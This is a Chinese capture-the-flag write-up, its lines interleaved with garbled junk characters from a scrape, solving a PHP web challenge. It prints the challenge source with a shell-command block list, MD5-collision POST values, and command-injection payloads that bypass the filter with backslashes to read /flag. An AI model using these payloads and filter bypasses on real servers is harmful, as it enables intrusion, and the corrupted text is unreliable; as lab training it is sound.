|
|
8 Q3 V4 x# b/ ?3 G
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
/ |$ x6 L1 X5 t; K R<p> </p>5 X8 a. ?6 W1 V8 [$ }% @' u3 X2 K
<p> </p>
) P& a p# H6 @# j, \0 k<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
1 t a/ d! P8 \8 E8 n<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>1 ] K- e/ V' x4 P2 e$ r5 m
<p> </p>$ q3 K& K! h* ?0 l* a/ I) T
<p> </p>, [' a0 m+ g# R
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>! U5 f: T! t7 g( H& F/ b& F
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
" ^# j' n e. J V<p>首先把那个进行一次base64位解码</p>
1 X2 `- k. ~/ ]0 |1 C<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
! `) F- s0 Q1 z0 R<p> </p>& y: D3 E/ L6 C
<p> </p>
7 O7 C' `1 i: k) X% Q<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
. u, X+ z8 j! F- s5 `) z<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
( A$ ]" U- G- q$ I8 m# \& O<p> </p>
% J$ \) }( X6 | U7 P<p> </p># l: E( t: Z% I7 h. g% n
<p> 然后用hex解码一下得到了</p>8 n4 Q8 n- {: E: |' H! n
<div class="cnblogs_Highlighter">
/ L" l, k% M/ _: C; U! j6 n Z<pre class="brush:sql;gutter:true;">555.png2 `6 M3 |; c2 m% Z0 Y. ~, Q) z1 t
</pre>8 Z6 B0 |, V+ Z6 S. u
</div>6 j' n% `. U$ i/ j3 |/ v
<p> 用同样的方法把index.php进行加密</p># j0 z0 l) z; l% J- G) l# J
<div class="cnblogs_Highlighter">" V& d5 s7 U9 ^( V
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
1 a' @3 \; u3 {3 j$ @2 v* Y</pre>$ q6 j# s0 M0 r0 |" X
</div>+ t. G# w% E4 h; S5 b
<p> 然后输入到地址栏</p>
9 ~- \- N# ^% n8 R1 g% b5 h$ T. o<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
, [, i5 c$ R" T5 [<div class="cnblogs_code">
, Q- |( S' L" j: m<pre><?<span style="color: rgba(0, 0, 0, 1)">php
% _7 F- y( j0 _5 h) W9 ^+ R</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
2 Y$ ]; e2 W# _% J1 m</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
5 ]7 `0 N5 I. d3 h5 ?; r</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];: k, I5 K- A X$ Q& H3 ~3 g& W
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) 4 e2 H% y3 G5 R. e- V; j, [7 l2 m
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);! s% f3 a7 `! C5 C
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));7 g* L$ b5 |% q. O& i
1 n2 w3 c) b: }
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
! u5 M3 u) o8 S</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
' K% ~0 i( K; B$ |7 E5 `0 T </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;8 {/ F2 {) d) R/ o4 C+ f5 B F
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
# a3 W; B/ o! V/ O" W} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {+ W6 x8 ~4 W4 ~& p
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));9 K) ?& c. A" @4 m
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
+ {, i4 X: f1 w8 u3 H: ~ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;7 A& I' l0 l' M" e2 a
}" V( K' _" A0 M* W) C. _
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;7 @* _4 ^% p- H g& V4 D; d
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
# \; D+ V) x' U! N</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {) V' c# I$ f) s- C1 }
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
G; V0 V5 j% N5 U$ r; I* P </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
! r. a9 H( ^) J) ~% M* X2 J; S} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {" z5 U* G6 y7 q
</span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {) ?' c5 B. N( x; y% ~, X
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
' y5 j& H1 w; r6 L$ o- R: q } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {# {# U# c! U/ A' T! l' ~
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
. [8 B# j3 H2 M/ R, Q }7 u. |! g' H5 H2 d- n
}
9 P* L( o* @; z+ i
1 e: h8 I3 l2 L- B</span>?>4 }, M/ k. b" B& W% W2 z# z' h- D
<html>3 R6 f' x2 v: [7 u% }; D8 W
<style><span style="color: rgba(0, 0, 0, 1)">
* K" N2 X" v n( p% ]1 n5 x body{
[- o* h8 [6 `, | background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
& e# G- c8 V/ K- b+ g9 W background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
" s$ V# u1 j3 U background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
5 v5 ]" f9 d3 [* G, m4 A background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>8 S. b0 h, C: p, E9 [, U% K7 e( k
<span style="color: rgba(0, 0, 0, 1)">}5 v1 N$ l$ f- e8 h
</span></style>" N) ^3 C% Q: O& h9 E @
<body>- M9 T/ `. _7 R* H' s! R! d
</body>
& w" K, s' ~1 n) ? ]</html></pre>1 M* o s; u9 }5 ~$ @- {# b7 ]+ P8 m7 x
</div>
' }( g! I# K1 D+ B$ N<p>结合前面的推断,关键代码就在</p>
7 z, d; A: J7 i- N; i: E1 Y<div class="cnblogs_code">' M" E! t0 A+ ^4 v; ]1 P
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
4 B+ m/ Q* p" d! d! i </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;8 g; G6 W2 m9 J
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
5 f/ _9 `2 T5 O2 j; A </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
. m& J' B# p1 B }</span></pre>
, `/ Z, D1 G# p" x4 h$ }: B</div>
9 A/ n) U3 c# S8 h<p>这种MD5是md5强碰撞</p>
+ I! X2 ~/ ?* L; }6 c! D<div class="cnblogs_Highlighter">
( ]& ^2 P, G5 u# G! P- B5 @<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a23 j+ l* D0 [0 p& F ]
</pre>
7 H5 m% {* g* C& N9 N</div>
% D) h ?6 C4 t, O<div class="cnblogs_Highlighter">7 E1 C9 u6 M0 g2 z8 a# a& V
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2# Q! E9 e; V+ T
</pre>7 @' a: S5 ^) _: \+ _" t
</div>
: ~4 Y q3 K: G: J% `<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
* L! p' ?! Q- A* F7 p+ z* S: u/ c* F<p>于是采用payload:</p>
' T7 m! }% f+ g! \: c+ S$ f* A" H<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>; Z% B' U$ L5 s5 ]: B' X
<p> </p>9 _; u4 t$ L* ?" `9 O: H% @
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
* i+ R% w. @( ~/ C# m<p>ls和l\s在命令执行的时候结果是一样的。</p>
! l% d2 @2 y* z) b& X4 A; P<p>然后发现根目录里面有/flag</p># c( ?2 u' v7 D- i6 T* G
<p>于是payload:</p>4 B: ]) G- ]2 j
<div class="cnblogs_Highlighter">. |$ n1 c& ~* r9 ] s
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag3 P3 n8 y; n9 b4 j4 ]8 Z
</pre>
* |3 X8 t2 s$ o7 I4 h4 j0 c</div>7 x# I7 T/ q' r6 O
<p> 对于这个题目,因为他没有屏蔽sort和dir</p>
' W7 {0 U; u- o! M<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
+ F; s) `" r$ m<p> </p>
1 _! s" H+ k, T% y" t1 E; o: s |
|